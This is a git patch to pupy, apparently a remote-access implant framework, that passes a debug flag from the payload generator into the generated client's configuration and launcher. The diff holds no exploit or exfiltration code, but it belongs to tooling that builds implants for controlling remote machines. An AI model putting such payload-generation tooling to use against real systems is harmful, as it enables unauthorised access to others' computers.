From 69bfb1c1169750fa99d97e7f9d35ae27861533ed Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Fri, 21 Apr 2017 00:01:31 +0300 Subject: [PATCH] explicit debug option passing --- pupy/pp.py | 13 +++++++++---- pupy/pupygen.py | 2 ++ 2 files changed, 11 insertions(+), 4 deletions(-) diff --git a/pupy/pp.py b/pupy/pp.py index 1104e91e..524da831 100755 --- a/pupy/pp.py +++ b/pupy/pp.py @@ -79,7 +79,6 @@ logging.getLogger().setLevel(logging.WARNING) try: import pupy except ImportError, e: - print 'Couldnt load pupy: {}'.format(e) mod = imp.new_module("pupy") mod.__name__ = "pupy" mod.__file__ = "pupy://pupy" @@ -107,6 +106,8 @@ def obtain(proxy): """ allows to convert netref types into python native types """ return safe_obtain(proxy) +debug = False + setattr(pupy, 'obtain', obtain) # I don't see a better spot to put this util LAUNCHER = "connect" # the default launcher to start when no argv @@ -268,7 +269,6 @@ def handle_sigchld(*args, **kwargs): os.waitpid(-1, os.WNOHANG) attempt = 0 -debug = False def main(): global LAUNCHER @@ -295,9 +295,13 @@ def main(): nargs=argparse.REMAINDER, help="launcher arguments") args = parser.parse_args() - if args.debug: + + if not debug: + debug = bool(args.debug) + + if debug: logging.getLogger().setLevel(logging.DEBUG) - debug = bool(args.debug) + LAUNCHER = args.launcher LAUNCHER_ARGS = shlex.split(' '.join(args.launcher_args)) @@ -327,6 +331,7 @@ def main(): pupy.infos['launcher_args'] = LAUNCHER_ARGS pupy.infos['launcher_inst'] = launcher pupy.infos['transport'] = launcher.get_transport() + pupy.infos['debug'] = debug pupy.infos['native'] = not getattr(pupy, 'pseudo', False) exited = False diff --git a/pupy/pupygen.py b/pupy/pupygen.py index 9e3a0c18..c2779397 100755 --- a/pupy/pupygen.py +++ b/pupy/pupygen.py @@ -128,6 +128,7 @@ def get_raw_conf(conf, obfuscate=False): 'import network.conf', 'LAUNCHER={}'.format(repr(conf['launcher'])), 'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])), + 'debug={}'.format(bool(conf.get('debug', False))), offline_script ]) @@ -446,6 +447,7 @@ def pupygen(args, config): conf['launcher']=args.launcher conf['launcher_args']=args.launcher_args conf['offline_script']=script_code + conf['debug']=args.debug outpath=args.output if args.format=="client": print ok+"Generate client: {}/{}".format(args.os, args.arch)